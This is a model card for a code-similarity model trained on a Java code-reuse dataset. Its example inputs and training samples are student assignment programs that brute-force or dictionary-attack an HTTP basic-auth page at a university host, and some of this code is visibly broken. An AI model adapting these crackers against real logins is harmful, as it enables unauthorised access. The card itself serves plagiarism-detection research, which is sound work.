\ = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',\
|
608 |
+
\ 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E',\
|
609 |
+
\ 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U',\
|
610 |
+
\ 'V', 'W', 'X', 'Y', 'Z'};\n private Vector v;\n\n public Cracker()\n {\n\
|
611 |
+
\ v = new Vector( 52);\n }\n public void loadLetters()\n {\n int\
|
612 |
+
\ i;\n\n for( i = 0; i < letters.length; i++)\n {\n\t String s = new\
|
613 |
+
\ StringBuffer().append( letters[i]).toString();\n v.add( s);\n }\n\
|
614 |
+
\ }\n public Vector getVictor()\n {\n return ;\n }\n public void\
|
615 |
+
\ loadPairs()\n {\n int i,j;\n\n for( i = 0; i < letters.length -\
|
616 |
+
\ 1; i++)\n {\n for( j = i + 1; j < letters.length; j++)\n \
|
617 |
+
\ {\n String s1 = new StringBuffer().append( letters[i]).append(\
|
618 |
+
\ letters[j]).toString();\n\t String s2 = new StringBuffer().append( letters[j]).append(\
|
619 |
+
\ letters[i]).toString();\n\t v.add( s1);\n\t v.add( s2);\n\t }\n }\n\
|
620 |
+
\ for( i = 0; i < letters.length; i++)\n {\n String s3 = new\
|
621 |
+
\ StringBuffer().append( letters[i]).append( letters[i]).toString();\n\t v.add(\
|
622 |
+
\ s3);\n }\n }\n public void loadTriples()\n {\n int i, j, k;\n\
|
623 |
+
\ \n for( i = 0; i < letters.length; i++)\n {\n String\
|
624 |
+
\ s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();\n\
|
625 |
+
\t v.add( s4);\n }\n for( i = 0; i < letters.length - 1; i++)\n \
|
626 |
+
\ {\n for( j = i + 1; j < letters.length; j++)\n\t {\n\t String s5\
|
627 |
+
\ = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();\n\
|
628 |
+
\t String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append(\
|
629 |
+
\ letters[j]).toString();\n\t String s7 = new StringBuffer().append( letters[j]).append(\
|
630 |
+
\ letters[j]).append( letters[i]).toString();\n\t String s8 = new StringBuffer().append(\
|
631 |
+
\ letters[j]).append( letters[i]).append( letters[i]).toString();\n\t String\
|
632 |
+
\ s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();\n\
|
633 |
+
\t String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append(\
|
634 |
+
\ letters[j]).toString();\n\t v.add( s5);\n\t v.add( s6);\n\t v.add(\
|
635 |
+
\ s7);\n\t v.add( s8);\n\t v.add( s9);\n\t v.add( s10);\n\t }\n \
|
636 |
+
\ }\n for( i = 0; i < letters.length - 2; i++)\n {\n for( j\
|
637 |
+
\ = i + 1; j < letters.length - 1; j++)\n\t {\n\t for( k = i + 2; k < letters.length;\
|
638 |
+
\ k++)\n\t {\n\t String s11 = new StringBuffer().append( letters[i]).append(\
|
639 |
+
\ letters[j]).append(letters[k]).toString();\n\t String s12 = new StringBuffer().append(\
|
640 |
+
\ letters[i]).append( letters[k]).append(letters[j]).toString();\n\t String\
|
641 |
+
\ s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();\n\
|
642 |
+
\t String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();\n\
|
643 |
+
\t String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();\n\
|
644 |
+
\t String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();\n\
|
645 |
+
\t v.add( s11);\n\t v.add( s12);\n\t v.add( s13);\n\t \
|
646 |
+
\ v.add( s14);\n\t v.add( s15);\n\t v.add( s16);\n\t }\n\t }\n\
|
647 |
+
\ }\n }\n \n public static void main( String[] args)\n {\n\
|
648 |
+
\ Cracker cr = new Cracker();\n cr.loadLetters();\n cr.loadPairs();\n\
|
649 |
+
\ cr.loadTriples();\n System.out.println(\" far \"+cr.getVictor().size()+\"\
|
650 |
+
\ elements loaded\");\n }\n}\n \n"
|
651 |
+
- "\nimport java.util.*;\n\n\npublic class Cracker\n{\n private char[] letters\
|
652 |
+
\ = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',\
|
653 |
+
\ 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E',\
|
654 |
+
\ 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U',\
|
655 |
+
\ 'V', 'W', 'X', 'Y', 'Z'};\n private Vector v;\n\n public Cracker()\n {\n\
|
656 |
+
\ v = new Vector( 52);\n }\n public void loadLetters()\n {\n int\
|
657 |
+
\ i;\n\n for( i = 0; i < letters.length; i++)\n {\n\t String s = new\
|
658 |
+
\ StringBuffer().append( letters[i]).toString();\n v.add( s);\n }\n\
|
659 |
+
\ }\n public Vector getVictor()\n {\n return ;\n }\n public void\
|
660 |
+
\ loadPairs()\n {\n int i,j;\n\n for( i = 0; i < letters.length -\
|
661 |
+
\ 1; i++)\n {\n for( j = i + 1; j < letters.length; j++)\n \
|
662 |
+
\ {\n String s1 = new StringBuffer().append( letters[i]).append(\
|
663 |
+
\ letters[j]).toString();\n\t String s2 = new StringBuffer().append( letters[j]).append(\
|
664 |
+
\ letters[i]).toString();\n\t v.add( s1);\n\t v.add( s2);\n\t }\n }\n\
|
665 |
+
\ for( i = 0; i < letters.length; i++)\n {\n String s3 = new\
|
666 |
+
\ StringBuffer().append( letters[i]).append( letters[i]).toString();\n\t v.add(\
|
667 |
+
\ s3);\n }\n }\n public void loadTriples()\n {\n int i, j, k;\n\
|
668 |
+
\ \n for( i = 0; i < letters.length; i++)\n {\n String\
|
669 |
+
\ s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();\n\
|
670 |
+
\t v.add( s4);\n }\n for( i = 0; i < letters.length - 1; i++)\n \
|
671 |
+
\ {\n for( j = i + 1; j < letters.length; j++)\n\t {\n\t String s5\
|
672 |
+
\ = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();\n\
|
673 |
+
\t String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append(\
|
674 |
+
\ letters[j]).toString();\n\t String s7 = new StringBuffer().append( letters[j]).append(\
|
675 |
+
\ letters[j]).append( letters[i]).toString();\n\t String s8 = new StringBuffer().append(\
|
676 |
+
\ letters[j]).append( letters[i]).append( letters[i]).toString();\n\t String\
|
677 |
+
\ s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();\n\
|
678 |
+
\t String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append(\
|
679 |
+
\ letters[j]).toString();\n\t v.add( s5);\n\t v.add( s6);\n\t v.add(\
|
680 |
+
\ s7);\n\t v.add( s8);\n\t v.add( s9);\n\t v.add( s10);\n\t }\n \
|
681 |
+
\ }\n for( i = 0; i < letters.length - 2; i++)\n {\n for( j\
|
682 |
+
\ = i + 1; j < letters.length - 1; j++)\n\t {\n\t for( k = i + 2; k < letters.length;\
|
683 |
+
\ k++)\n\t {\n\t String s11 = new StringBuffer().append( letters[i]).append(\
|
684 |
+
\ letters[j]).append(letters[k]).toString();\n\t String s12 = new StringBuffer().append(\
|
685 |
+
\ letters[i]).append( letters[k]).append(letters[j]).toString();\n\t String\
|
686 |
+
\ s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();\n\
|
687 |
+
\t String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();\n\
|
688 |
+
\t String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();\n\
|
689 |
+
\t String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();\n\
|
690 |
+
\t v.add( s11);\n\t v.add( s12);\n\t v.add( s13);\n\t \
|
691 |
+
\ v.add( s14);\n\t v.add( s15);\n\t v.add( s16);\n\t }\n\t }\n\
|
692 |
+
\ }\n }\n \n public static void main( String[] args)\n {\n\
|
693 |
+
\ Cracker cr = new Cracker();\n cr.loadLetters();\n cr.loadPairs();\n\
|
694 |
+
\ cr.loadTriples();\n System.out.println(\" far \"+cr.getVictor().size()+\"\
|
695 |
+
\ elements loaded\");\n }\n}\n \n"
|
696 |
+
- "\n\nimport java.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class BruteForce\n\
|
697 |
+
{\n public final static int TOTAL_TIMES=52*52*52;\n public char[] passwd;\n public\
|
698 |
+
\ static void main(String[] args) throws IOException\n {\n BruteForce bf=new\
|
699 |
+
\ BruteForce();\n System.out.println(\" cracking...\");\n time1=new Date().getTime();\n\
|
700 |
+
\ bf.doBruteForce(time1);\n\t time2=new Date().getTime();\n\tSystem.out.println(\"\
|
701 |
+
Finish cracking.\");\n\tSystem.out.println(\" password found.\");\n System.out.println(\"\
|
702 |
+
costs \"+(time2-time1)+\" milliseconds\");\n System.exit(1);\n }\n\n void doBruteForce(int\
|
703 |
+
\ time1) throws IOException\n {\n passwd=new char[3];\n Runtime rt=Runtime.getRuntime();\n\
|
704 |
+
\ num=0;\n for(int i=(int)'z';i>=(int)'A';i--)\n {\n if(i==96)\n i=90;\n\
|
705 |
+
\ passwd[0]=(char)i;\n for(int j=(int)'z';j>=(int)'A';j--)\n {\n \
|
706 |
+
\ if(j==96)\n j=90;\n passwd[1]=(char)j;\n for(int k=(int)'z';k>=(int)'A';k--)\n\
|
707 |
+
\ {\n if(k==96)\n k=90;\n passwd[2]=(char)k;\n String\
|
708 |
+
\ password=new String(passwd);\n\t\t\ttry\n {\n\t\t\t\tnum++;\n\n\t\t\t\t\
|
709 |
+
\n\t\t\t\tProcess p=rt.exec(\"lynx -auth=:\"+password+\" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
|
710 |
+
);\n\t\t\t\t\n\t\t\t\tString ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();\n\
|
711 |
+
\t p.destroy();\n\n\t\t\t\tif(ln!=null)\n \n if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')\n\
|
712 |
+
\ {\n\n System.out.println(password);\n\t\t\t\t\tSystem.out.println(\"\
|
713 |
+
Finish cracking.\");\n\t\t\t\t\tSystem.out.println(ln);\n\t\t\t\t\tSystem.out.println(\"\
|
714 |
+
password is \"+password);\n time2=new Date().getTime();\n System.out.println(\"\
|
715 |
+
costs \"+(time2-time1)+\" milliseconds\");\n System.out.println(\"The\
|
716 |
+
\ number of attempts is \"+num);\n\t\t System.exit(1);\n }\n \
|
717 |
+
\ \n \n\n } catch (FileNotFoundException exc) {\n System.out.println\
|
718 |
+
\ (\"File Not Found\");\n\t\t\t\tk++;\n } catch (IOException exc) {\n\t\t\
|
719 |
+
\ System.out.println (\"IOException\");\n k++;\n } catch (NullPointerException\
|
720 |
+
\ exc) {\n\t\t System.out.println (\"NullPointerException\");\n k++;\n\
|
721 |
+
\t \t}\n\n }\n }\n }\n }\n}\n"
|
722 |
+
datasets:
|
723 |
+
- buelfhood/SOCO_TRAIN_java
|
724 |
+
pipeline_tag: sentence-similarity
|
725 |
+
library_name: sentence-transformers
|
726 |
+
---
|
727 |
+
|
728 |
+
# SentenceTransformer based on microsoft/unixcoder-base-unimodal
|
729 |
+
|
730 |
+
This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal) on the [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
|
731 |
+
|
732 |
+
## Model Details
|
733 |
+
|
734 |
+
### Model Description
|
735 |
+
- **Model Type:** Sentence Transformer
|
736 |
+
- **Base model:** [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal) <!-- at revision c6b7b85380bf4e01309a3cf5e4f686433764d923 -->
|
737 |
+
- **Maximum Sequence Length:** 512 tokens
|
738 |
+
- **Output Dimensionality:** 768 dimensions
|
739 |
+
- **Similarity Function:** Cosine Similarity
|
740 |
+
- **Training Dataset:**
|
741 |
+
- [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java)
|
742 |
+
<!-- - **Language:** Unknown -->
|
743 |
+
<!-- - **License:** Unknown -->
|
744 |
+
|
745 |
+
### Model Sources
|
746 |
+
|
747 |
+
- **Documentation:** [Sentence Transformers Documentation](https://sbert.net)
|
748 |
+
- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers)
|
749 |
+
- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers)
|
750 |
+
|
751 |
+
### Full Model Architecture
|
752 |
+
|
753 |
+
```
|
754 |
+
SentenceTransformer(
|
755 |
+
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel
|
756 |
+
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
|
757 |
+
)
|
758 |
+
```
|
759 |
+
|
760 |
+
## Usage
|
761 |
+
|
762 |
+
### Direct Usage (Sentence Transformers)
|
763 |
+
|
764 |
+
First install the Sentence Transformers library:
|
765 |
+
|
766 |
+
```bash
|
767 |
+
pip install -U sentence-transformers
|
768 |
+
```
|
769 |
+
|
770 |
+
Then you can load this model and run inference.
|
771 |
+
```python
|
772 |
+
from sentence_transformers import SentenceTransformer
|
773 |
+
|
774 |
+
# Download from the 🤗 Hub
|
775 |
+
model = SentenceTransformer("buelfhood/SOCO-Java-UnixCoder-Softmax-PairClass-VAST-ep2-bs32-noEval")
|
776 |
+
# Run inference
|
777 |
+
sentences = [
|
778 |
+
'\n\n\n\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\nimport javax.swing.*;\n\npublic class PasswordCombination\n{\n private int pwdCounter = 0;\n private int startTime;\n private String str1,str2,str3;\n private String url = "http://sec-crack.cs.rmit.edu./SEC/2/";\n private String loginPwd;\n private String[] password;\n private HoldSharedData data;\n private char[] chars = {\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\n \'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\',\n \'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\n \'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\n\n public PasswordCombination()\n {\n System.out.println("Programmed by for INTE1070 Assignment 2");\n\n String input = JOptionPane.showInputDialog( "Enter number of threads" );\n if( input == null )\n System.exit(0);\n\n int numOfConnections = Integer.parseInt( input );\n startTime = System.currentTimeMillis();\n int pwdCounter = 52*52*52 + 52*52 + 52;\n password = new String[pwdCounter];\n\n doPwdCombination();\n\n System.out.println("Total Number of Passwords Generated: " + pwdCounter);\n createConnectionThread( numOfConnections );\n }\n\n private void doPwdCombination()\n {\n for( int i = 0; i < 52; i ++ )\n {\n str1 = "" + chars[i];\n password[pwdCounter++] = "" + chars[i];\n System.err.print( str1 + " | " );\n\n for( int j = 0; j < 52; j ++ )\n {\n str2 = str1 + chars[j];\n password[pwdCounter++] = str1 + chars[j];\n\n for( int k = 0; k < 52; k ++ )\n {\n str3 = str2 + chars[k];\n password[pwdCounter++] = str2 + chars[k];\n }\n }\n }\n\n System.err.println( "\\n" );\n }\n\n private void loadPasswords( )\n {\n FileReader fRead;\n BufferedReader buf;\n String line = null;\n String fileName = "words";\n\n try\n {\n fRead = new FileReader( fileName );\n buf = new BufferedReader(fRead);\n\n while((line = buf.readLine( )) != null)\n {\n password[pwdCounter++] = line;\n }\n }\n catch(FileNotFoundException e)\n {\n System.err.println("File not found: " + fileName);\n }\n catch(IOException ioe)\n {\n System.err.println("IO Error " + ioe);\n }\n }\n\n private void createConnectionThread( int input )\n {\n data = new HoldSharedData( startTime, password, pwdCounter );\n\n int numOfThreads = input;\n int batch = pwdCounter/numOfThreads + 1;\n numOfThreads = pwdCounter/batch + 1;\n System.out.println("Number of Connection Threads Used:" + numOfThreads);\n ConnectionThread[] connThread = new ConnectionThread[numOfThreads];\n\n for( int index = 0; index < numOfThreads; index ++ )\n {\n connThread[index] = new ConnectionThread( url, index, batch, data );\n connThread[index].conn();\n }\n }\n} ',
|
779 |
+
'\nimport java.util.*;\n\n\npublic class Cracker\n{\n private char[] letters = {\'a\', \'b\', \'c\', \'d\', \'e\', \'f\', \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\', \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\', \'w\', \'x\', \'y\', \'z\', \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\', \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\', \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\', \'Y\', \'Z\'};\n private Vector v;\n\n public Cracker()\n {\n v = new Vector( 52);\n }\n public void loadLetters()\n {\n int i;\n\n for( i = 0; i < letters.length; i++)\n {\n\t String s = new StringBuffer().append( letters[i]).toString();\n v.add( s);\n }\n }\n public Vector getVictor()\n {\n return ;\n }\n public void loadPairs()\n {\n int i,j;\n\n for( i = 0; i < letters.length - 1; i++)\n {\n for( j = i + 1; j < letters.length; j++)\n {\n String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();\n\t String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();\n\t v.add( s1);\n\t v.add( s2);\n\t }\n }\n for( i = 0; i < letters.length; i++)\n {\n String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();\n\t v.add( s3);\n }\n }\n public void loadTriples()\n {\n int i, j, k;\n \n for( i = 0; i < letters.length; i++)\n {\n String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();\n\t v.add( s4);\n }\n for( i = 0; i < letters.length - 1; i++)\n {\n for( j = i + 1; j < letters.length; j++)\n\t {\n\t String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();\n\t String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();\n\t String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();\n\t String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();\n\t String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();\n\t String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();\n\t v.add( s5);\n\t v.add( s6);\n\t v.add( s7);\n\t v.add( s8);\n\t v.add( s9);\n\t v.add( s10);\n\t }\n }\n for( i = 0; i < letters.length - 2; i++)\n {\n for( j = i + 1; j < letters.length - 1; j++)\n\t {\n\t for( k = i + 2; k < letters.length; k++)\n\t {\n\t String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();\n\t String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();\n\t String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();\n\t String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();\n\t String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();\n\t String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();\n\t v.add( s11);\n\t v.add( s12);\n\t v.add( s13);\n\t v.add( s14);\n\t v.add( s15);\n\t v.add( s16);\n\t }\n\t }\n }\n }\n \n public static void main( String[] args)\n {\n Cracker cr = new Cracker();\n cr.loadLetters();\n cr.loadPairs();\n cr.loadTriples();\n System.out.println(" far "+cr.getVictor().size()+" elements loaded");\n }\n}\n \n',
|
780 |
+
'\nimport java.util.*;\n\n\npublic class Cracker\n{\n private char[] letters = {\'a\', \'b\', \'c\', \'d\', \'e\', \'f\', \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\', \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\', \'w\', \'x\', \'y\', \'z\', \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\', \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\', \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\', \'Y\', \'Z\'};\n private Vector v;\n\n public Cracker()\n {\n v = new Vector( 52);\n }\n public void loadLetters()\n {\n int i;\n\n for( i = 0; i < letters.length; i++)\n {\n\t String s = new StringBuffer().append( letters[i]).toString();\n v.add( s);\n }\n }\n public Vector getVictor()\n {\n return ;\n }\n public void loadPairs()\n {\n int i,j;\n\n for( i = 0; i < letters.length - 1; i++)\n {\n for( j = i + 1; j < letters.length; j++)\n {\n String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();\n\t String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();\n\t v.add( s1);\n\t v.add( s2);\n\t }\n }\n for( i = 0; i < letters.length; i++)\n {\n String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();\n\t v.add( s3);\n }\n }\n public void loadTriples()\n {\n int i, j, k;\n \n for( i = 0; i < letters.length; i++)\n {\n String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();\n\t v.add( s4);\n }\n for( i = 0; i < letters.length - 1; i++)\n {\n for( j = i + 1; j < letters.length; j++)\n\t {\n\t String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();\n\t String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();\n\t String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();\n\t String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();\n\t String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();\n\t String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();\n\t v.add( s5);\n\t v.add( s6);\n\t v.add( s7);\n\t v.add( s8);\n\t v.add( s9);\n\t v.add( s10);\n\t }\n }\n for( i = 0; i < letters.length - 2; i++)\n {\n for( j = i + 1; j < letters.length - 1; j++)\n\t {\n\t for( k = i + 2; k < letters.length; k++)\n\t {\n\t String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();\n\t String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();\n\t String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();\n\t String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();\n\t String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();\n\t String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();\n\t v.add( s11);\n\t v.add( s12);\n\t v.add( s13);\n\t v.add( s14);\n\t v.add( s15);\n\t v.add( s16);\n\t }\n\t }\n }\n }\n \n public static void main( String[] args)\n {\n Cracker cr = new Cracker();\n cr.loadLetters();\n cr.loadPairs();\n cr.loadTriples();\n System.out.println(" far "+cr.getVictor().size()+" elements loaded");\n }\n}\n \n',
|
781 |
+
]
|
782 |
+
embeddings = model.encode(sentences)
|
783 |
+
print(embeddings.shape)
|
784 |
+
# [3, 768]
|
785 |
+
|
786 |
+
# Get the similarity scores for the embeddings
|
787 |
+
similarities = model.similarity(embeddings, embeddings)
|
788 |
+
print(similarities.shape)
|
789 |
+
# [3, 3]
|
790 |
+
```
|
791 |
+
|
792 |
+
<!--
|
793 |
+
### Direct Usage (Transformers)
|
794 |
+
|
795 |
+
<details><summary>Click to see the direct usage in Transformers</summary>
|
796 |
+
|
797 |
+
</details>
|
798 |
+
-->
|
799 |
+
|
800 |
+
<!--
|
801 |
+
### Downstream Usage (Sentence Transformers)
|
802 |
+
|
803 |
+
You can finetune this model on your own dataset.
|
804 |
+
|
805 |
+
<details><summary>Click to expand</summary>
|
806 |
+
|
807 |
+
</details>
|
808 |
+
-->
|
809 |
+
|
810 |
+
<!--
|
811 |
+
### Out-of-Scope Use
|
812 |
+
|
813 |
+
*List how the model may foreseeably be misused and address what users ought not to do with the model.*
|
814 |
+
-->
|
815 |
+
|
816 |
+
<!--
|
817 |
+
## Bias, Risks and Limitations
|
818 |
+
|
819 |
+
*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.*
|
820 |
+
-->
|
821 |
+
|
822 |
+
<!--
|
823 |
+
### Recommendations
|
824 |
+
|
825 |
+
*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.*
|
826 |
+
-->
|
827 |
+
|
828 |
+
## Training Details
|
829 |
+
|
830 |
+
### Training Dataset
|
831 |
+
|
832 |
+
#### soco_train_java
|
833 |
+
|
834 |
+
* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476)
|
835 |
+
* Size: 33,411 training samples
|
836 |
+
* Columns: <code>label</code>, <code>text_1</code>, and <code>text_2</code>
|
837 |
+
* Approximate statistics based on the first 1000 samples:
|
838 |
+
| | label | text_1 | text_2 |
|
839 |
+
|:--------|:-----------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|
|
840 |
+
| type | int | string | string |
|
841 |
+
| details | <ul><li>0: ~99.80%</li><li>1: ~0.20%</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 457.49 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 512 tokens</li><li>mean: 512.0 tokens</li><li>max: 512 tokens</li></ul> |
|
842 |
+
* Samples:
|
843 |
+
| label | text_1 | text_2 |
|
844 |
+
|:---------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|
845 |
+
| <code>0</code> | <code><br>import java.net.*;<br>import java.io.*;<br>import java.util.*;<br><br><br>public class Dictionary {<br><br> public static void main(String args[])<br> {<br> int i,j,k;<br> String pass = new String();<br> String UserPass = new String();<br> String status = new String();<br> String status1 = new String();<br> BasicAuth auth = new BasicAuth();<br> URLConnection connect;<br> int start,end,diff;<br> try {<br> URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");<br><br><br><br> start =System.currentTimeMillis();<br><br> BufferedReader dis = new BufferedReader(new FileReader("words"));<br><br><br> while ((pass = dis.readLine()) != null)<br> {<br><br><br> UserPass= auth.encode("",pass);<br><br> connect = url.openConnection();<br> connect.setDoInput(true);<br> connect.setDoOutput(true);<br><br> connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");<br> connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");<br> connect.setRequestProperty(...</code> | <code><br><br>import java.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class BruteForce<br>{<br> public final static int TOTAL_TIMES=52*52*52;<br> public char[] passwd;<br> public static void main(String[] args) throws IOException<br> {<br> BruteForce bf=new BruteForce();<br> System.out.println(" cracking...");<br> time1=new Date().getTime();<br> bf.doBruteForce(time1);<br> time2=new Date().getTime();<br> System.out.println("Finish cracking.");<br> System.out.println(" password found.");<br> System.out.println("costs "+(time2-time1)+" milliseconds");<br> System.exit(1);<br> }<br><br> void doBruteForce(int time1) throws IOException<br> {<br> passwd=new char[3];<br> Runtime rt=Runtime.getRuntime();<br> num=0;<br> for(int i=(int)'z';i>=(int)'A';i--)<br> {<br> if(i==96)<br> i=90;<br> passwd[0]=(char)i;<br> for(int j=(int)'z';j>=(int)'A';j--)<br> {<br> if(j==96)<br> j=90;<br> passwd[1]=(char)j;<br> for(int k=(int)'z';k>=(int)'A';k--)<br> {<br> if(k==96)<br> k=90;<br> passwd[2]=(char)k;<br> String password=new String(passwd);<br> try<br> ...</code> |
|
846 |
+
